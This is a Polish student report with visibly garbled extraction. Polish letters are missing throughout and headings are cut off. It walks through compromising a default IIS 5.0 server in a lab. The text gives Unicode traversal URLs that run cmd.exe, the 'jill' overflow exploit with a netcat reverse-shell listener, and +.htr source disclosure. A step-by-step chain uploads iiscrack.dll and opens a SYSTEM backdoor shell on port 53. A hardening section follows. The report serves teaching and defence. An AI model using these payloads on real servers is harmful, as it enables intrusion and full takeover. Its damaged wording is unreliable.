Microsoft Word - referat - IIS _Arial2

W pracy omówione zostan  sposoby jakimi mo e posłu y  si  intruz zamierzaj cy włama
si  do serwera IIS, by zmieni  zawarto  umieszczonych na nim stron lub całkowicie przej
kontrol   na  systemem.  Pokazane  zostan   tak e  metody  zabezpieczenia  serwera  przed
atakiem.

Pakiet oprogramowania Internet Information Services (IIS) jest doł czony do systemu

operacyjnego Windows. Jego podstawowym zadaniem jest pełnienie funkcji serwera WWW,
ponadto oferuje równie mo liwo uruchomienia serwerów FTP, SMTP, NNTP oraz proxy.

IIS jest popularnym serwerem mi dzy innymi ze wzgl du na prostot konfiguracji. Po

zainstalowaniu składników serwera nie trzeba wiele wysiłku,  eby uruchomi  serwis WWW. Z
punktu  widzenia  u ytkowników  niezajmuj cych  si   systemami  komputerowymi  ani
bezpiecze stwem, jest to du a zaleta. Jest to jednak równie  du a zaleta dla intruzów.

Wi kszo u ytkowników poprzestaje na podstawowej instalacji IIS, nie staraj c si

dodatkowo zabezpieczy serwera. Zwykle wi c serwer IIS działa z domy ln konfiguracj , co
sprawia e jest on cz stym celem ataków.

W eksperymentach korzysta b d z dwóch wirtualnych maszyn. Na jednej z nich

zainstalowany jest system operacyjny

Windows 2000 Professional

oraz pakiet IIS 5.0 z

domy lnymi ustawieniami (IP:

192.168.239.130

) – komputer b d cy ofiar ataków. Druga

maszyna działa pod systemem

Mandrake Linux 10.1

(IP:

192.168.239.131

) – komputer

intruza.

AK ROZPOZNA SERWER

IIS

Aby rozpocz atak na serwer IIS intruz musi si najpierw upewni , e jego celem

jest rzeczywi cie serwer IIS. Jednym ze sposobów w jaki mo e to zrobi jest tzw. badanie
banerów.

Proces pobierania strony z serwera polega na wysyłaniu

da (od klienta do

serwera)  i  otrzymaniu  odpowiedzi  (od  serwera  do  klienta).  W  skład  odpowiedzi  serwera
wchodzi  zawarto   strony  oraz  nagłówki  HTTP.  Domy lnie  skonfigurowany  serwer  IIS  bez
wahania ujawnia swoj  to samo , wysyłaj c nast puj cy nagłówek:

Server: Microsoft-IIS/5.0

Technik t mo na zastosowa poprzez poł czenie si z portem 80 serwera i wysłanie
odpowiedniego ci gu znaków jako danie, a nast pnie odczytanie nagłówków otrzymanej
odpowiedzi.

Do nawi zania poł czenia TCP z okre lonym portem danego serwera mo na

posłu y si narz dziem

netcat

. [

http://netcat.sourceforge.net/

]

Po zainicjowaniu poł czenia poleceniem

nc 192.168.239.130 80

wpisujemy danie:

GET / HTTP/1.0

, a nast pnie pusty wiersz. W odpowiedzi od serwera widzimy zapis:

Server: Microsoft-IIS/5.0

Oznacza to, e na komputerze 192.168.239.130 jest

uruchomiony IIS w wersji 5.0.
Przykład zastosowania tej metody został pokazany na rysunku poni ej.

Chc c zabezpieczy serwer przed identyfikacj poprzez badanie banera, powinni my

zmieni tre odpowiedzi banera. Nie jest to proste, poniewa w serwerze IIS 5.0 tre
banera jest na stałe zapisana w kodzie programu. Mo na jednak skorzysta z narz dzia
UrlScan. W pliku konfiguracyjnym urlscan.ini zmieniamy wpis

RemoveServerHeader=0

RemoveServerHeader=1

Po wprowadzeniu tej zmiany z nagłówków odpowiedzi znika informacja o typie

serwera.
Wi cej

UrlScan

stronie:

[

https://www.microsoft.com/poland/technet/security/tools/urlscan.mspx

]

Po sprawdzeniu, e mamy do czynienia z serwerem IIS, rozpoczynamy testowanie,

na jakie metody ataku jest on podatny.

RZEGL DANIE SYSTEMU PLIKÓW

Ataki zwane przegl danie systemu plików (ang. filesystem traversal) umo liwiaj

odczytywanie plików znajduj cych si na serwerze, a niekiedy nawet zdalne wykonywanie
polece .

Idea jest prosta – korzystaj c z tradycyjnej sztuczki

../

mo emy uzyska dost p do

dowolnego pliku na serwerze, a nawet wykonywa polecenia (uruchamiaj c cmd.exe).

Symbol

../

u ywany jest w URL-u w podobny sposób jak podczas zmiany bie cego

katalogu w wierszu polece .
Przykład: Je li jeste my w katalogu c:\temp\katalog, to po wywołaniu polecenia

cd..

znajdziemy si stopie wy ej, czyli w katalogu c:\temp.
W przypadku URL sytuacja wygl da analogicznie. Umieszczaj c

../

w daniu wysłanym

do serwera, intruz b dzie mógł porusza si po drzewie katalogów serwera.
Gdyby my wysłali nast puj ce danie:

http://192.168.239.130/dokumenty/2004/info.html

w odpowiedzi otrzymaliby my plik \dokumenty\2004\info.html z głównego katalogu serwera
WWW.

Je li

głównym

katalogiem

jest

c:\inetpub,

otrzymaliby my

plik

c:\inetpub\dokumenty\2004\info.html. Je li natomiast wysłaliby my danie:

http://192.168.239.130/dokumenty/2004/../2003/info.html

otrzymaliby my  plik  c:\inetpub\dokumenty\2003\info.html.  Umieszczaj c  symbol  dwóch
kropek  spowodowali my  zmian   katalogu  z  2004  na  katalog  nadrz dny  dokumenty,
nast pnie dostali my si  do katalogu 2003, sk d za dali my pliku info.html.

W obu przypadkach nie przekroczyli my naszych praw. Odczytali my plik znajduj cy

si w c:\inetpub. Co jednak stałoby si gdyby my chcieli odczyta plik:

http://192.168.239.130/../plik.txt

W tej sytuacji dwie kropki przenosz z katalogu c:\inetpub do katalogu nadrz dnego c:\, w
którym znajduje si plik plik.txt. Je li faktycznie udałoby si nam odczyta ten plik,

oznaczałoby to,  e uzyskali my dost p do informacji nie udost pnionych dla u ytkowników
serwera  WWW.  Ponadto,  gdyby my  tylko  znali  struktur   katalogów  serwera,  mogliby my
dosta  si  do ka dego pliku. Przyjrzyjmy si  kilku przykładom.

Przegl danie systemu plików za pomoc Unicode

Zasadniczo IIS 5.0 nie jest podatny na sztuczki z wykorzystaniem symbolu

../

przed wysłaniem pliku klientowi serwer sprawdza, czy w cie ce dost pu nie wyst puje ci g

../

mog cy spowodowa wyj cie z głównego katalogu. Interesuj ca sytuacja ma miejsce,

gdy w cie ce wyst puj znaki Unicode. W takim przypadku IIS najwyra niej sprawdza

cie k przed dekodowaniem tych znaków. Oznacza to, e po odebraniu dania:

http://192.168.239.130/..%c0%afplik.txt

IIS w pierwszej kolejno ci sprawdza, czy danie nie zawiera podejrzanego symbolu

../.

Nast pnie dekoduje znaki Unicode. Ci g %c0%af odpowiada znakowi

w Unicode, tak wi c

danie przetwarzane jest do nast puj cej postaci:

http://192.168.239.130/../plik.txt

co oznacza, e IIS dostarczy nam plik c:\plik.txt.

Wykorzystuj c t luk jeste my w stanie uzyska dost p do dowolnego pliku na

serwerze,  pod  warunkiem,  e  znamy  cie k   dost pu  do  niego.  Dost p  uzyskamy  z
uprawnieniami  konta  IUSR_NAZWAKOMPUTERA,  gdzie  NAZWAKOMPUTERA  jest
netbiosow  nazw  serwera. To konto jest wykorzystywane do anonimowego dost pu z sieci
do serwera WWW. Standardowo nale y ono do grupy Go cie (Local Guests) na serwerze.
Uprawnienia tego konta przyznawane s  anonimowym u ytkownikom serwera WWW.
Poza  kontem  IUSR_NAZWAKOMPUTERA,  mamy  jeszcze  konto  SYSTEM  (LocalSystem).
Jest  ono  wykorzystywane  przez  system  operacyjny  do  uruchamiania  programów  i
sterowników. Nie jest kontem u ytkownika. Konto to ma nieograniczony dost p do systemu
operacyjnego. Je li intruzowi udałoby si  przej  kontrol  nad tym kontem, mógłby zrobi  z
systemem praktycznie wszystko.

Załó my e znamy lokalizacj pliku, do którego chcemy uzyska dost p. Aby wysła

danie mo emy skorzysta z przegl darki lub wysła

danie HTTP bezpo rednio, za

pomoc programu netcat. W pierwszym przypadku wpisujemy je w polu adresu przegl darki,
w drugim natomiast post pujemy podobnie jak przy badaniu banerów, tj. wpisuj c:

nc 192.168.239.130 80

GET /..%c0%afplik.txt

Je li plik, którego dotyczy

danie, jest plikiem wykonywalnym, uzyskujemy

dodatkowe mo liwo ci. Je li znajduj si on w katalogu wirtualnym, w którym u ytkownik
IUSR_NAZWAKOMUTERA ma prawo wykonywania (na przykład /scripts), wówczas zostanie
wykonany, a wynik zostanie zwrócony przez serwer.

Mo emy ponadto oszuka serwer, by uznał, e plik znajduje si w katalogu z prawem

wykonywania  nawet,  je li  faktycznie  jest  inaczej.  Wykorzystuj c  ponownie  sztuczk   z
dwiema  kropkami  wchodzimy  do  katalogu  /scripts,  po  czym  wychodzimy  do  katalogu
nadrz dnego i podajemy  cie k  dost pu do pliku w innym  katalogu.

Przykład:

http://192.168.239.130/scripts/..%c0%af../winnt/system32/cmd.exe

Serwer IIS b dzie s dził,  e plik znajduje si  w katalogu scripts –  cie ka jest analizowana
zanim ci g ..%c0%af.. zostanie zdekodowany do postaci ../.. . Serwer nie wie zatem,  e po
wej ciu do  katalogu  scripts  przechodzimy  dwa  poziomy  wy ej  i próbujemy uzyska  dost p
do /winnt/system32/cmd.exe.

Warto wiedzie , e do wywoływanego pliku mo emy przekazywa argumenty,

posługuj c si znakiem

Przykład:
Chc c wypisa zawarto katalogu c:\ wysyłamy nast puj ce danie:

http://192.168.239.130/scripts/..%c0%af../winnt/system32/cmd.exe?/c+

dir+c:\

danie mo emy wysła za pomoc przegl darki lub programu netcat

Luka przegl dania systemu plików została poprawiona w Windows 2000 Service Pack 3.

TAKI PRZEZ PRZEPEŁNIENIE BUFORA

Atak  przez  przepełnienie  bufora,  w  skrócie,  polega  na  przekazaniu  programowi  zbyt  du ej
ilo ci  danych,  powoduj c  wykonanie  przygotowanego  przez  intruza  kodu,  który  w
normalnych  okoliczno ciach  nie  miałby  prawa  zosta   wykonany.  Dodatkowy  kod  trafia  do
innego obszaru pami ci i wskutek bł du w programie, który niewła ciwie sprawdza rozmiar
danych  wej ciowych,  zostaje  wykonany  z  uprawnieniami  takimi  samymi,  jak  wadliwy
program.

Poniewa IIS działa na koncie SYSTEM, które w Windows ma nieograniczon

władz , przepełnienie bufora nale y uwa a za najbardziej niebezpieczny rodzaj ataku, na
jaki nara ony jest serwer IIS.

Przepełnienie bufora IPP

Luka ta wyst puje w filtrze ISAPI .printer, którego zadaniem jest obsługa protokołu

Internet Printing Protocol (IPP). Sama technologia ISAPI (Internet Services Application
Programming Interface) umo liwia rozszerzanie funkcjonalno ci serwera WWW poprzez
doł czanie do niego kodu implementuj cego dodatkowe usługi.

Filtr ISAPI .printer jest domy lnie instalowany na serwerze. Bł d mo na wykorzysta

wysyłaj c ci g około 420 bajtów w nagłówku wysłanym w

daniu ISAPI .printer. Po

otrzymaniu takiego

dania w IIS dochodzi do przepełnienia bufora i serwer przestaje

działa . Jednak Windows 2000 automatycznie uruchamia IIS ponownie zaraz po awarii, co
ma na celu zapewnienie jak najwi kszej niezawodno ci usług sieciowych. W efekcie kod
umieszczony w buforze zostaje wykonany.

Luk wykorzystuje exploit zwany

jill

[

http://packetstormsecurity.org

], którego autorem

jest dark spirit z beavuh.org. Exploit powoduje przepełnienie bufora w serwerze IIS i
uruchamia na zdalnej maszynie powłok , do której dost p mo e uzyska intruz ł cz c si z
portem o wybranym numerze.

Intruz rozpoczyna od nasłuchiwania na wybranym porcie TCP (np. 2006), za pomoc

takiego narz dzia jak netcat:

nc –vv –l –p 2006

W drugim oknie polece intruz uruchamia exploita, podaj c mu jako parametry: IP

ofiary,  IP  maszyny  nasłuchuj cej  oraz  numer  portu,  na  którym  ma  zosta   udost pniona
powłoka.
Intruz  jeszcze  tylko  musi  wcisn   [Enter]  w  okienku  nasłuchiwania  by  poł czy   si   z
powłok . Nast pnie mo e wywoływa  dowolne polecenia z uprawnieniami konta SYSTEM.

Bł d został naprawiony w Windows 2000 SP3.

JAWNIANIE KODU RÓDŁOWEGO

Gdy klient wysyła do serwera danie otworzenia strony HTML, serwer bezpo rednio

odsyła mu jej zawarto . Kiedy

danie dotyczy strony zrealizowanej w ASP lub PHP,

wówczas  w pierwszej kolejno ci serwer wykonuje kod zawarty  w skrypcie, a potem wysyła
wyniki klientowi. W ten sposób klient nie ma dost pu do kodu  ródłowego strony (skryptu),
któr  ogl da. Ten fakt jest niekiedy wykorzystywany przez programistów, którzy umieszczaj
w kodzie stron poufne informacje, jak cho by nazwy u ytkowników i hasła.
Przykładowo, logowanie u ytkownika mo e wygl da  nast puj co:

if ( $username==”admin”) && ($passwd==”secret77”) )

{

$logged_in=1;

}

W normalnych okoliczno ciach takie rozwi zanie nie jest niebezpieczne, poniewa

u ytkownik nie mo e zobaczy tre ci kodu ródłowego. Je li jednak znalazłby luk w
serwerze IIS umo liwiaj c podgl d kodu stron, wówczas hasło zostałoby ujawnione.

Luka +.htr

HTR jest jedn z pierwszych zaawansowanych technik skryptowych, jakie weszły w

skład  serwera  IIS  2.0.  Obecnie  najcz ciej  spotykanym  zastosowaniem  mechanizmu  HTR
jest  zestaw  skryptów  doł czonych  standardowo  do  serwera  IIS.  Ich  zadaniem  jest
umo liwienie  dost pu  do  haseł  Windows  NT  przez  serwer  WWW.  U ytkownicy  mog   za
pomoc   tych  skryptów  zmienia   swoje  hasła,  natomiast  administratorzy  mog
wykorzystywa  je w zarz dzaniu hasłami.

Gdy klient wysyła danie pliku .htr jest ono przekazywane do biblioteki ISM.DLL,

która wskutek bł du zwraca zawarto pliku. W ten sposób intruz mo e odczyta tre pliku
.htr.

Ten sam bł d mo e by wykorzystany do odczytania zawarto ci pliku .asp.

Wybieramy cie k dost pu do dowolnego pliku .asp:

http://192.168.239.130/global.asa

i dodajemy do niej +.htr:

http://192.168.239.130/global.asa+.htr

Gdy serwer IIS analizuje otrzymane  danie, zwraca uwag  na ko cowy ci g  znaków .htr,
wi c  post puje  tak  samo  jak  w  przypadku  dowolnego  pliku  .htr  –  przekazuje  danie  do
biblioteki  ISM.DLL.  ISM.DLL  usuwa  ze  cie ki  przyrostek  +.htr  i  pokazuje  zawarto   pliku
/global.asa.

W podobny sposób mo na post pi z plikami .asp i .ini. Jednak odczytana zostanie

tre ródła pliku tylko do pierwszego wyst pienia ci gu

- znaczniki

ogranicznikami skryptów wykonywanych po stronie serwera.

Chc c odczyta plik global.asa, intruz musi jedynie uruchomi program netcat i

wpisa

danie

GET /global.asa+.htr.

Oczywi cie mo e równie skorzysta z

przegl darki i wpisa nast puj cy adres:

http://192.168.239.130/global.asa+.htr

Dost p do poufnych informacji (na przykład nazwy u ytkownika i hasła) mo e

znacz co ułatwi intruzowi włamanie do systemu. Najskuteczniejsz ochron przed
ujawnieniem ukrytych informacji jest przestrzeganie zasad bezpiecznego programowania w
kodzie ASP.
Luka została naprawiona w Windows 2000 SP3.

WI KSZANIE UPRAWNIE

Intruz, który zdołał wedrze si do systemu i uruchomi powłok z uprawnieniami

konta SYSTEM ma prawie nieograniczone mo liwo ci. Jednak nawet, gdy intruz dysponuje
jedynie uprawnieniami konta anonimowego lub nieuprzywilejowanego, mo e dokona
zniszcze w systemie lub nawet przej uprawnienia konta SYSTEM.

Jak kopiowa pliki na system ofiary

Gdy jeste my zalogowani lokalnie do komputera z systemem Windows, mo emy

łatwo przekierowywa wyniki wykonywanego polecenia stosuj c symbol

Przykładowo, je li wydamy nast puj ce polecenie:

dir c:\ > dirc.txt

wyniki polecenia trafi do pliku dirc.txt.

Metody tej nie mo na jednak stosowa w przypadku polece wykonywanych za

po rednictwem cmd.exe ze wzgl du na ograniczenia przekierowa w serwerze IIS, chyba,

e zmienimy nazw cmd.exe. Dlatego te pierwsz rzecz , jak robi intruz, jest skopiowanie

pliku cmd.exe do katalogu /scripts (podstawowe ustawienia bezpiecze stwa Windows 2000
daj u ytkownikowi nale cemu do grupy Wszyscy (Everyone) pełn kontrol nad tym
katalogiem). Intruz wpisuje w przegl darce nast puj cy adres:

http://192.168.239.130/scripts/..%c0%af../winnt/system32/cmd.exe?+/c

+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmdx.exe

Kopia cmd.exe została umieszczona w katalogu /scripts, zatem intruz nie b dzie

musiał wykonywa adnych sztuczek z przechodzeniem do innego katalogu, by uzyska do
niej dost p. Łatwiej b dzie mu wydawa polecenia w systemie ofiary.

Jak tworzy pliki w systemie ofiary

Wydaj c polecenie w rodzaju

echo > plik

, intruz ma mo liwo tworzenia nowych

plików w zdalnym systemie za pomoc przegl darki, w której wpisuje adres:

http://192.168.239.130/scripts/cmdx.exe?+/c+echo+zawartosc+pliku+>+n

owy.txt

Spowoduje to utworzenie pliku nowy.txt w katalogu /scripts.

TAK NA SERWER

IIS

–

ANALIZA KROK PO KROKU

Przeanalizujmy teraz szczegółowy opis ataku na serwer IIS. Zobaczymy, jak serwer

IIS ze standardowymi zabezpieczeniami, bez jakichkolwiek uaktualnie czy łat, pada ofiar
intruza, który w pi ciu krokach zdobywa w systemie uprawnienia konta SYSTEM.

Krok 1 – poszukiwanie luk

Najpierw intruz sprawdza, czy system jest podatny na atak Unicode.

Wygl da na to, e system jest podatny, poniewa udało si odczyta list plików w

katalogu c:\.

Krok 2 – przygotowanie do umieszczenia plików na serwerze

Chc c kontynuowa atak, intruz musi umie ci na serwerze kilka plików. Mo na tu

skorzysta ze skryptu perla

unicodeloader

[

http://packetstormsecurity.org/

] – narz dzia,

które umo liwia przesyłanie plików za po rednictwem wygodnego interfejsu.

Skrypt unicodeloader umieszcza na serwerze plik pomocniczy, który intruz otwiera

(wpisuj c okre lony adres), otrzymuj c stron z formularzem słu cym do przesyłania plików
z komputera lokalnego na serwer.
Wywoływany jest nast puj co:

unicodeloader IP:port katalogwww

Jako

katalogwww

podajemy

nazw

katalogu,

którym

u ytkownik

IUSR_NAZWAKOMPUTERA mo e wykonywa pliki. Jak zd yli my si przekona , warunek
ten spełnia katalog c:\inetpub\scripts.

Intruz mo e od tej pory przesyła pliki na serwer korzystaj c ze strony upload.asp.

Krok 3 – umieszczenie plików na serwerze

wpisaniu

przegl darce

adresu

http://192.168.239.130/scripts/upload.asp

, intruz b dzie mógł za pomoc kilku

klikni umieszcza pliki w katalogu wirtualnym /scripts.

W kolejnym kroku intruz umieszcza na serwerze pliki niezb dne do przeprowadzenia

dalszej cz ci ataku. B dzie mu potrzebny plik, który umo liwi przej cie uprawnie konta

SYSTEM. W tym celu wykorzystana zostanie luka znana jako RevertToSelf w bibliotece DLL
ISAPI.  Luka  wyst puje  w  mechanizmie  InProcessIsapiApps,  umo liwiaj cym  omijanie
zabezpiecze   aplikacji  przy  u yciu  wywoła   RevertToSelf  w  DLL  ISAPI.  W  uproszczeniu,
wywołanie RevertToSelf spowoduje,  e bie cy w tek zmieni swój kontekst bezpiecze stwa
z  uprawnie   IUSR_NAZWAKOMPUTERA  na  uprawnienia  konta,  z  którego  prawami  działa
IIS (inetinfo.exe) czyli SYSTEM.

Moore

digitaloffence.net

udost pnia

plik

iiscrack.dll

[

http://metasploit.com/users/hdm/tools/

], który wykorzystuje omówion luk i umo liwia

wykonywanie dowolnych polece z uprawnieniami konta SYSTEM.

By zastosowa exploit nale y zmieni nazw tego pliku na nazw okre lon w kluczu

Metabazy IIS/LM/W3SVC/InProcessIsapiApps. Intruz musi zatem jedynie otworzy stron
upload.asp i umie ci na serwerze plik o nazwie zmienionej na httpodbc.dll.
Wspomniany bł d został naprawiony w Windows 2000 SP3.

Nast pnym punktem planu intruza jest przygotowanie tylnej furtki w systemie ofiary.

Intruz

mo e

zastosowa

program

netcat

(wersja

dla

Windows)

[

http://www.vulnwatch.org/netcat/

], który mo e umie ci na serwerze korzystaj c ze strony

upload.asp.

Krok 4 – uruchomienie tylnej furtki z uprawnieniami konta SYSTEM

Aby wywoła httpodbc.dll w katalogu wirtualnym /scripts, intruz po prostu wpisuje w

przegl darce adres:

http://192.168.239.130/scripts/httpodbc.dll

Uzyskuje w ten sposób dost p do strony, na której znajduje si  pole tekstowe umo liwiaj ce
wydawanie  polece .  Wpisane  polecenie  zostanie  wykonane  z  uprawnieniami  konta
SYSTEM.

Podczas  testowania,  okazało  si ,  e  nie  do  ko ca  działa  to  poprawnie.  Przy  wydaniu
polecenia:

c:\winnt\system32\cmd.exe /c

&submitter=execute

W efekcie zobaczy on stron z potwierdzeniem poprawnego wykonania polecenia.

Uruchamia ono powłok dost pn przez port TCP o numerze 53. Wybór numeru

portu ma znacznie, poniewa gdyby atakowany serwer znajdował si za firewallem, istnieje
spora szansa na to, e b dzie on akceptował poł czenia AXFR DNS (port TCP 53).

Krok 5 – ostateczny cios

Intruzowi pozostaje jedynie poł czy si z powłok , któr uruchomił. Mo e w tym celu

wykorzysta program netcat.

AK POPRAWI BEZPIECZE STWO

Oto kilka metod post powania słu cych poprawie poziomu bezpiecze stwa serwera

IIS, których stosowanie znacznie ograniczy ryzyko włamania.

1. Na wst pie kilka wa nych wskazówek odno nie instalacji:

przygotujmy oddzieln partycj lub oddzielny dysk dla zawarto ci stron WWW

– udaremni to wi kszo z omówionych ataków. Narz dzia słu ce do
włamywania si na serwery IIS zakładaj zwykle, e strony WWW s
przechowywane w standardowych katalogach.

partycja systemowa oraz partycja zawieraj ca strony WWW powinny by

partycjami NTFS. Pozwala to w wi kszym stopniu kontrolowa ustawienia
bezpiecze stwa, korzystaj c z list kontroli dost pu (ang. Access Control List -
ACL).

instalujmy najnowsze pakiety uaktualnie i łaty.

2. Usu my z serwera przykładowe aplikacje i katalogi. Przykłady nie s do niczego

potrzebne na pracuj cym serwerze. Post pujmy według zasady: je li co nie jest
nam potrzebne, usu my to.

3. Wył czmy wszystkie zb dne usługi, szczególnie serwer telnetu, je li z niego nie

korzystamy.

4. Powinni my ponadto rozwa y podział plików udost pnianych na stronach pomi dzy

odr bne katalogi.

5. IIS jest wst pnie skonfigurowany tak, by obsługiwa podstawowe typy plików, takie

jak .asp i .shtm. Gdy serwer odbiera  danie dotycz ce jednego z takich plików, jest
ono obsługiwane przez  bibliotek  DLL. Je li obsługa niektórych plików nie jest nam
potrzebna, usu my ich mapowania, post puj c zgodnie z poni sz  instrukcj :

otwieramy Menad era usług internetowych (Internet services manager),

klikamy prawym przyciskiem na nazw serwera, wybieramy z menu

Wła ciwo ci (Properties),

wła ciwo ci główne (Master Properties),

wybieramy Usługa WWW->Edytuj->Katalog macierzysty->Konfiguracja

(WWW Service->Edit->HomeDirectory->Configuration).

Bibliografia:
- Magazyn „Hakin9” nr 4/2004
- „Wykrywanie, analiza i przeciwdziałanie atakom hackerów w Checz Point Firewall-1 NG
[

www.clico.pl

]

- strony www wymienione w pracy